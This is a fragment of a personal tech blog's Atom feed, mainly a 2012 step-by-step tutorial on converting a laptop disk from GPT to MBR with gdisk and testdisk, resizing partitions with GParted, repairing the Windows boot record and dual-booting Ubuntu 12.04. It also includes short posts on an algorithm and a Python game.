&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://commandlinewani.blogspot.com/feeds/3040923242742291718/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5205501213934844228/3040923242742291718' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/3040923242742291718'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/3040923242742291718'/><link rel='alternate' type='text/html' href='http://commandlinewani.blogspot.com/2012/09/how-to-install-ethernetwirelessbluetoot.html' title='How To Install Ethernet/Wireless/Bluetooth Drivers In LinuxMint '/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5205501213934844228.post-3345839229200358785</id><published>2012-09-12T22:27:00.000-07:00</published><updated>2012-09-18T06:10:48.268-07:00</updated><title type='text'>How To Dual Boot Windows &amp; Ubuntu 12.04 In Sony Vaio/ HP dv6 Laptops With GPT-EFI Partition or Dynamic Partition</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
How To Dual Boot Windows &amp;amp; Ubuntu 12.04 In Sony Vaio/ HP dv6 Laptops With GPT-EFI Partition or Dynamic Partition&lt;br /&gt;
&lt;br /&gt;
How To Convert Dynamic to Basic Partition Without Loss Of Data&lt;br /&gt;
&lt;br /&gt;
This is a common issue in most of the latest HP and Vaio Laptops. These guys have the following issue:&lt;br /&gt;
&lt;br /&gt;
(i) Vaio guys have used GPT-EFI configuration for their hard drives whereas the old and&amp;nbsp;friendly&amp;nbsp;used to be MBR-BIOS configuration.&lt;br /&gt;
(ii) HP guys already have enough number of primary partitions and Linux can&#39;t be installed easily (as long as you don&#39;t want wubi). So naturally, while shrinking your hard disk in Windows 7, you generally get an option to change to Dynamic Configuration. There you go! Once clicked, it is very difficult to revert back. But this is where the important use of two awesome tools gdisk and testdisk chips in.&lt;br /&gt;
&lt;br /&gt;
I&#39;ll be focusing on correcting or rather &#39;&lt;i&gt;suitableizing&lt;/i&gt;&#39; your hard disk configuration for easy Linux installations and get rid of crappy partitions of which there is no need at all. I&#39;ll provide the links for the rest of the steps as we go.&lt;br /&gt;
&lt;br /&gt;
The process:&lt;br /&gt;
&lt;br /&gt;
Part 1: Converting GPT-EFI to MBR-BIOS. For this method, you can perform the required set of operations in windows itself. But changing hex-values of a partition while it is mounted, puff! Therefore, I&#39;ll use the live-mode of Ubuntu.&lt;br /&gt;
&lt;br /&gt;
(i) Creating Live Mode USB: To use Live Mode of Ubuntu, all you need is a USB Drive having enough space to hold a 700MB file. Go through this:&amp;nbsp;&lt;a href=&quot;http://www.ubuntu.com/download/help/create-a-usb-stick-on-windows&quot;&gt;http://www.ubuntu.com/download/help/create-a-usb-stick-on-windows&lt;/a&gt;&amp;nbsp;Now, that you have a bootable USB, reboot your system (Yeah, by reboot I mean shutdown and then boot, not hibernate and boot!)&lt;br /&gt;
&lt;br /&gt;
(ii) Booting From USB: Now usually, one can boot from USB in Laptops easily. In Vaio Laptops, you&#39;ll have to go to the BIOS options by pressing F2. Then, you have to switch from UEFI Mode to Legacy Mode and Enable Booting From External Drives. In HP, one can boot from USB just by pressing F9 and going to Boot Menu.&lt;br /&gt;
&lt;br /&gt;
(iii) Installing gdisk: Note, you should have a working internet connection in order to perform this, otherwise, you can download the required packages before-hand and store them somewhere.&lt;br /&gt;
&lt;br /&gt;
Open pkgs.org&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://s622.photobucket.com/albums/tt302/Nehal/?action=view&amp;amp;current=Installinggdisk1.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Photobucket&quot; border=&quot;0&quot; src=&quot;http://i622.photobucket.com/albums/tt302/Nehal/Installinggdisk1.png&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Search for gdisk&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://s622.photobucket.com/albums/tt302/Nehal/?action=view&amp;amp;current=Installinggdisk2.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Photobucket&quot; border=&quot;0&quot; src=&quot;http://i622.photobucket.com/albums/tt302/Nehal/Installinggdisk2.png&quot; /&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
Click on Ubuntu 12.04.1 LTS&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://s622.photobucket.com/albums/tt302/Nehal/?action=view&amp;amp;current=Installinggdisk3.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Photobucket&quot; border=&quot;0&quot; src=&quot;http://i622.photobucket.com/albums/tt302/Nehal/Installinggdisk3.png&quot; /&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
Now, if you have a 32-bit image of Ubuntu, then click on the i386 file but if you have the 64-bit image of Ubuntu, then click on select mirror.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://s622.photobucket.com/albums/tt302/Nehal/?action=view&amp;amp;current=Installinggdisk4.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Photobucket&quot; border=&quot;0&quot; src=&quot;http://i622.photobucket.com/albums/tt302/Nehal/Installinggdisk4.png&quot; /&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
Download the binary package.&lt;br /&gt;
&lt;br /&gt;
(iv) Installing testdisk:&lt;br /&gt;
&lt;br /&gt;
Google testdisk :)&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://s622.photobucket.com/albums/tt302/Nehal/?action=view&amp;amp;current=InstallingTestdisk1.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Photobucket&quot; border=&quot;0&quot; src=&quot;http://i622.photobucket.com/albums/tt302/Nehal/InstallingTestdisk1.png&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Open the download page of CGISecurity&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://s622.photobucket.com/albums/tt302/Nehal/?action=view&amp;amp;current=InstallingTestdisk2.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Photobucket&quot; border=&quot;0&quot; src=&quot;http://i622.photobucket.com/albums/tt302/Nehal/InstallingTestdisk2.png&quot; /&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
Click on Linux, kernel 2.6.18 or later (again, 32-bit=i386 and 64-bit=x86_64) Let the download complete!&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://s622.photobucket.com/albums/tt302/Nehal/?action=view&amp;amp;current=InstallingTestDisk3.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Photobucket&quot; border=&quot;0&quot; src=&quot;http://i622.photobucket.com/albums/tt302/Nehal/InstallingTestDisk3.png&quot; /&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
Alternatively, one can download gdisk from&lt;a href=&quot;http://www.blogger.com/%C2%A0https://docs.google.com/open?id=0B8d4Lb_KJbfdd1Yxd25ObWxub0E&quot;&gt;&amp;nbsp;https://docs.google.com/open?id=0B8d4Lb_KJbfdd1Yxd25ObWxub0E&lt;/a&gt;&lt;br /&gt;
and testdisk from&amp;nbsp;&lt;a href=&quot;https://docs.google.com/open?id=0B8d4Lb_KJbfdTUNTZlpjc0Q3d0k&quot;&gt;https://docs.google.com/open?id=0B8d4Lb_KJbfdTUNTZlpjc0Q3d0k&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
(v) Time to open a terminal: Press the Windows Key and type terminal&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://s622.photobucket.com/albums/tt302/Nehal/?action=view&amp;amp;current=OpeningTerminal.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Photobucket&quot; border=&quot;0&quot; src=&quot;http://i622.photobucket.com/albums/tt302/Nehal/OpeningTerminal.png&quot; /&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
(vi) Time to write some commands:&lt;br /&gt;
We&#39;ll basically open gdisk, go into expert mode and delete GPT partition tables and write MBR.&lt;br /&gt;
&lt;br /&gt;
&lt;script src=&quot;http://pastebin.com/embed_js.php?i=dgv0Lv4S&quot;&gt;&lt;/script&gt;

(vii)Now that the disk has been converted to MBR, one needs to recover any partitions that have been lost and mark them as primary. For which, we&#39;ll use testdisk.&lt;br /&gt;
&lt;br /&gt;
&lt;script src=&quot;http://pastebin.com/embed_js.php?i=2dhzBRqr&quot;&gt;&lt;/script&gt;

Select Create &amp;amp; Press Enter&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://s622.photobucket.com/albums/tt302/Nehal/?action=view&amp;amp;current=RunningTestDisk1.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Photobucket&quot; border=&quot;0&quot; src=&quot;http://i622.photobucket.com/albums/tt302/Nehal/RunningTestDisk1.png&quot; /&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
Select the hard disk in which your Windows, Recovery, etc partitions are present. In most cases it will be /dev/sda. Select proceed and press Enter&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://s622.photobucket.com/albums/tt302/Nehal/?action=view&amp;amp;current=RunningTestDisk2.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Photobucket&quot; border=&quot;0&quot; src=&quot;http://i622.photobucket.com/albums/tt302/Nehal/RunningTestDisk2.png&quot; /&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
Whatever the by-default option is, select it. (TestDisk automatically detects the Hard Disk and makes the appropriate option as default-highlighted). Since the EFI-GPT Combo data-structures have been deleted by gdisk, Intel is the by default highlighted option in this case.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://s622.photobucket.com/albums/tt302/Nehal/?action=view&amp;amp;current=RunningTestDisk3.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Photobucket&quot; border=&quot;0&quot; src=&quot;http://i622.photobucket.com/albums/tt302/Nehal/RunningTestDisk3.png&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Select Analyze and press Enter&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://s622.photobucket.com/albums/tt302/Nehal/?action=view&amp;amp;current=RunningTestDisk4.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Photobucket&quot; border=&quot;0&quot; src=&quot;http://i622.photobucket.com/albums/tt302/Nehal/RunningTestDisk4.png&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
OK, so in the case of Vaio (after using gdisk),&amp;nbsp;Partition 1 and Partition 3 are no longer needed. Because these contain info about booting from GPT-EFI partitions. Select Quick Search and press Enter&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://s622.photobucket.com/albums/tt302/Nehal/?action=view&amp;amp;current=RunningTestDisk5.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Photobucket&quot; border=&quot;0&quot; src=&quot;http://i622.photobucket.com/albums/tt302/Nehal/RunningTestDisk5.png&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Hit Stop when all the required partitions have been displayed.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://s622.photobucket.com/albums/tt302/Nehal/?action=view&amp;amp;current=RunningTestDisk6.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Photobucket&quot; border=&quot;0&quot; src=&quot;http://i622.photobucket.com/albums/tt302/Nehal/RunningTestDisk6.png&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Now select the Recovery Partition &amp;amp; press the side arrow key until * appears. Do the same for your C: Drive. But for the D: Drive (If you have any) choose P.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://s622.photobucket.com/albums/tt302/Nehal/?action=view&amp;amp;current=RunningTestDisk10.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Photobucket&quot; border=&quot;0&quot; src=&quot;http://i622.photobucket.com/albums/tt302/Nehal/RunningTestDisk10.png&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
This will show the list of partitions that you actually want at last. Select write and press Enter.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://s622.photobucket.com/albums/tt302/Nehal/?action=view&amp;amp;current=RunningTestDisk12.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Photobucket&quot; border=&quot;0&quot; src=&quot;http://i622.photobucket.com/albums/tt302/Nehal/RunningTestDisk12.png&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Everything seems to be done. The partition Structure has been written into the hard disk.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://s622.photobucket.com/albums/tt302/Nehal/?action=view&amp;amp;current=RunningTestDisk9.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Photobucket&quot; border=&quot;0&quot; src=&quot;http://i622.photobucket.com/albums/tt302/Nehal/RunningTestDisk9.png&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Part 2: &amp;nbsp;Moving/Re-Sizing Hard Disk Partitions: This is required so that error like &quot;This partition does not start at any physical boundary&quot; don&#39;t occur while installing Linux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
(i) Download the GParted Live iso file: &lt;a href=&quot;http://gparted.sourceforge.net/download.php&quot;&gt;http://gparted.sourceforge.net/download.php&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
(ii) Download and install LinuxLive USB Creator&amp;nbsp;&lt;a href=&quot;http://www.linuxliveusb.com/&quot;&gt;http://www.linuxliveusb.com/&lt;/a&gt;&amp;nbsp;on your MS Windows computer.&lt;br /&gt;
&lt;br /&gt;
(iii) From Windows, install then run the LinuxLive USB Creator program and follow the instructions in the GUI to install GParted Live on your USB flash drive&lt;br /&gt;
&lt;br /&gt;
(iv) Boot From USB and follow the instructions:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Keep pressing enter until a screen similar to this appears. Now re-size the first partition and add the space before and after it. You&#39;ll get a warning message like this one, but its normal.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://s622.photobucket.com/albums/tt302/Nehal/?action=view&amp;amp;current=gparted1-1.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Photobucket&quot; border=&quot;0&quot; src=&quot;http://i622.photobucket.com/albums/tt302/Nehal/gparted1-1.jpg&quot; /&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
The layout should look like this. Then click on edit and then on &quot;apply all actions&quot;.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://s622.photobucket.com/albums/tt302/Nehal/?action=view&amp;amp;current=gparted2-1.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Photobucket&quot; border=&quot;0&quot; src=&quot;http://i622.photobucket.com/albums/tt302/Nehal/gparted2-1.jpg&quot; /&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
Intermediary Process: First, The partition is expanded&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://s622.photobucket.com/albums/tt302/Nehal/?action=view&amp;amp;current=gparted3-1.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Photobucket&quot; border=&quot;0&quot; src=&quot;http://i622.photobucket.com/albums/tt302/Nehal/gparted3-1.jpg&quot; /&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
Intermediary Process: Second, data is copied from later sectors to previous ones.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://s622.photobucket.com/albums/tt302/Nehal/?action=view&amp;amp;current=gparted4-1.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Photobucket&quot; border=&quot;0&quot; src=&quot;http://i622.photobucket.com/albums/tt302/Nehal/gparted4-1.jpg&quot; /&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
Intermediary Process: Still Copying&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://s622.photobucket.com/albums/tt302/Nehal/?action=view&amp;amp;current=gparted5-1.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Photobucket&quot; border=&quot;0&quot; src=&quot;http://i622.photobucket.com/albums/tt302/Nehal/gparted5-1.jpg&quot; /&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
Intermediary Process: Almost finished copying files.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://s622.photobucket.com/albums/tt302/Nehal/?action=view&amp;amp;current=gparted6-1.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Photobucket&quot; border=&quot;0&quot; src=&quot;http://i622.photobucket.com/albums/tt302/Nehal/gparted6-1.jpg&quot; /&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
Copying finished! Hurray!&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://s622.photobucket.com/albums/tt302/Nehal/?action=view&amp;amp;current=gparted7-1.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Photobucket&quot; border=&quot;0&quot; src=&quot;http://i622.photobucket.com/albums/tt302/Nehal/gparted7-1.jpg&quot; /&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
The final layout will look something like this.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://s622.photobucket.com/albums/tt302/Nehal/?action=view&amp;amp;current=gparted8-1.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Photobucket&quot; border=&quot;0&quot; src=&quot;http://i622.photobucket.com/albums/tt302/Nehal/gparted8-1.jpg&quot; /&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
Part 3: Recovering Master Boot Record of Windows. This is essential to boot Windows. The destruction of GPT-Partition tables destroys the boot info and hence it needs to be restored. In order to do this, there are many techniques available. But we&#39;ll follow the one mostly used and which is the safest. i.e. let Microsoft repair it&#39;s own product!&lt;br /&gt;
&lt;br /&gt;
(i) Download the iso of the Windows 7 Version you have from :&lt;br /&gt;
&lt;a href=&quot;http://forums.mydigitallife.info/threads/18769-Download-Windows-7-ISO-(Official-32-bit-and-64-bit-Direct-Download-Links)&quot;&gt;http://forums.mydigitallife.info/threads/18769-Download-Windows-7-ISO-(Official-32-bit-and-64-bit-Direct-Download-Links)&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
(ii) Download and Install Windows 7 USB/DVD download tool from :&amp;nbsp;&lt;a href=&quot;http://images2.store.microsoft.com/prod/clustera/framework/w7udt/1.0/en-us/Windows7-USB-DVD-tool.exe&quot;&gt;http://images2.store.microsoft.com/prod/clustera/framework/w7udt/1.0/en-us/Windows7-USB-DVD-tool.exe&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Run the program. Click browse to select the image file that you have downloaded.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://s622.photobucket.com/albums/tt302/Nehal/?action=view&amp;amp;current=Win7_1.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Photobucket&quot; border=&quot;0&quot; src=&quot;http://i622.photobucket.com/albums/tt302/Nehal/Win7_1.png&quot; /&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
Click on USB Device&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://s622.photobucket.com/albums/tt302/Nehal/?action=view&amp;amp;current=Win7_2.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Photobucket&quot; border=&quot;0&quot; src=&quot;http://i622.photobucket.com/albums/tt302/Nehal/Win7_2.png&quot; /&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Select Which USB Device you want to copy files to.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://s622.photobucket.com/albums/tt302/Nehal/?action=view&amp;amp;current=Win7_6.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Photobucket&quot; border=&quot;0&quot; src=&quot;http://i622.photobucket.com/albums/tt302/Nehal/Win7_6.png&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
If there is not enough space on your USB Device, backup its data and click Erase USB Device&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://s622.photobucket.com/albums/tt302/Nehal/?action=view&amp;amp;current=Win7_4.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Photobucket&quot; border=&quot;0&quot; src=&quot;http://i622.photobucket.com/albums/tt302/Nehal/Win7_4.png&quot; /&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
Wait for the process to finish.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://s622.photobucket.com/albums/tt302/Nehal/?action=view&amp;amp;current=Win7_5.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Photobucket&quot; border=&quot;0&quot; src=&quot;http://i622.photobucket.com/albums/tt302/Nehal/Win7_5.png&quot; /&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
Boot From USB. Select Install Now&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://s622.photobucket.com/albums/tt302/Nehal/?action=view&amp;amp;current=MBR1.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Photobucket&quot; border=&quot;0&quot; src=&quot;http://i622.photobucket.com/albums/tt302/Nehal/MBR1.png&quot; /&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
Select your language &amp;amp; click next.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://s622.photobucket.com/albums/tt302/Nehal/?action=view&amp;amp;current=MBR2.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Photobucket&quot; border=&quot;0&quot; src=&quot;http://i622.photobucket.com/albums/tt302/Nehal/MBR2.png&quot; /&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
Click the button for &quot;Use Recovery Tools&quot;&lt;br /&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: #f6fafb; color: #323232; font-family: verdana, geneva, lucida, &#39;lucida grande&#39;, arial, helvetica, sans-serif; font-size: 13px; text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;a href=&quot;http://s622.photobucket.com/albums/tt302/Nehal/?action=view&amp;amp;current=MBR3.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Photobucket&quot; border=&quot;0&quot; src=&quot;http://i622.photobucket.com/albums/tt302/Nehal/MBR3.png&quot; /&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
Click on StartUp Repair&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://s622.photobucket.com/albums/tt302/Nehal/?action=view&amp;amp;current=MBR4.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Photobucket&quot; border=&quot;0&quot; src=&quot;http://i622.photobucket.com/albums/tt302/Nehal/MBR4.png&quot; /&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
The system will automatically restart. If required, you&#39;ll have to repeat the process 2 times.&lt;br /&gt;
&lt;br /&gt;
If that doesn&#39;t help, use:&amp;nbsp;&lt;a href=&quot;http://www.sevenforums.com/tutorials/20864-mbr-restore-windows-7-master-boot-record.html&quot;&gt;http://www.sevenforums.com/tutorials/20864-mbr-restore-windows-7-master-boot-record.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Now you&#39;ll be able to log in to windows.&lt;br /&gt;
&lt;br /&gt;
Part 4: Installing Linux:&lt;br /&gt;
&lt;br /&gt;
Use the method on&amp;nbsp;&lt;a href=&quot;http://www.linuxbsdos.com/2012/05/17/how-to-dual-boot-ubuntu-12-04-and-windows-7/&quot;&gt;http://www.linuxbsdos.com/2012/05/17/how-to-dual-boot-ubuntu-12-04-and-windows-7/&lt;/a&gt;&amp;nbsp;to safely install Ubuntu. You may have to select /dev/sda3 instead of /dev/sda2 in case you have a D: Drive&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Thanks you for your patient reading. If any questions, put a comment below!&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://commandlinewani.blogspot.com/feeds/3345839229200358785/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5205501213934844228/3345839229200358785' title='14 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/3345839229200358785'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/3345839229200358785'/><link rel='alternate' type='text/html' href='http://commandlinewani.blogspot.com/2012/09/how-to-install-ubuntu-1204-in-sony-vaio.html' title='How To Dual Boot Windows &amp; Ubuntu 12.04 In Sony Vaio/ HP dv6 Laptops With GPT-EFI Partition or Dynamic Partition'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>14</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5205501213934844228.post-6227812778767954248</id><published>2012-09-07T08:17:00.000-07:00</published><updated>2012-09-14T00:48:55.357-07:00</updated><title type='text'>Algorithm: Closest Pair Of Points</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;script src=&quot;http://pastebin.com/embed_js.php?i=jeuEuGzD&quot;&gt;&lt;/script&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://commandlinewani.blogspot.com/feeds/6227812778767954248/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5205501213934844228/6227812778767954248' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/6227812778767954248'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/6227812778767954248'/><link rel='alternate' type='text/html' href='http://commandlinewani.blogspot.com/2012/09/algorithm-closest-pair-of-points.html' title='Algorithm: Closest Pair Of Points'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5205501213934844228.post-1784724033603819400</id><published>2012-04-04T14:39:00.001-07:00</published><updated>2012-10-01T08:46:42.491-07:00</updated><title type='text'>Python Game: Robo-Bomb-Diffuser</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
My Very First Python Game!&lt;br /&gt;
&lt;iframe width=&quot;420&quot; height=&quot;315&quot; src=&quot;http://www.youtube.com/embed/UBblRog4MGY&quot; frameborder=&quot;0&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;br /&gt;
&lt;a href=&quot;https://docs.google.com/open?id=0B8d4Lb_KJbfdUWE4dWpBN0ZKNkE&quot;&gt;Click Here!&lt;/a&gt; To Download!&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtnDCLdnFY8zSAimmdAaUWbQZfrNq7tJdx97jei2UujWduOIFoEd_K1BxYXbGWUBEoTpN3PWZqbFwROwN7Q-Uwt_XljU7IzRUkECpJc2EkG6lxcOQsOrvcrw6As1KpHs1YK61VMx1atKg/s1600/Screenshot-2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtnDCLdnFY8zSAimmdAaUWbQZfrNq7tJdx97jei2UujWduOIFoEd_K1BxYXbGWUBEoTpN3PWZqbFwROwN7Q-Uwt_XljU7IzRUkECpJc2EkG6lxcOQsOrvcrw6As1KpHs1YK61VMx1atKg/s640/Screenshot-2.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
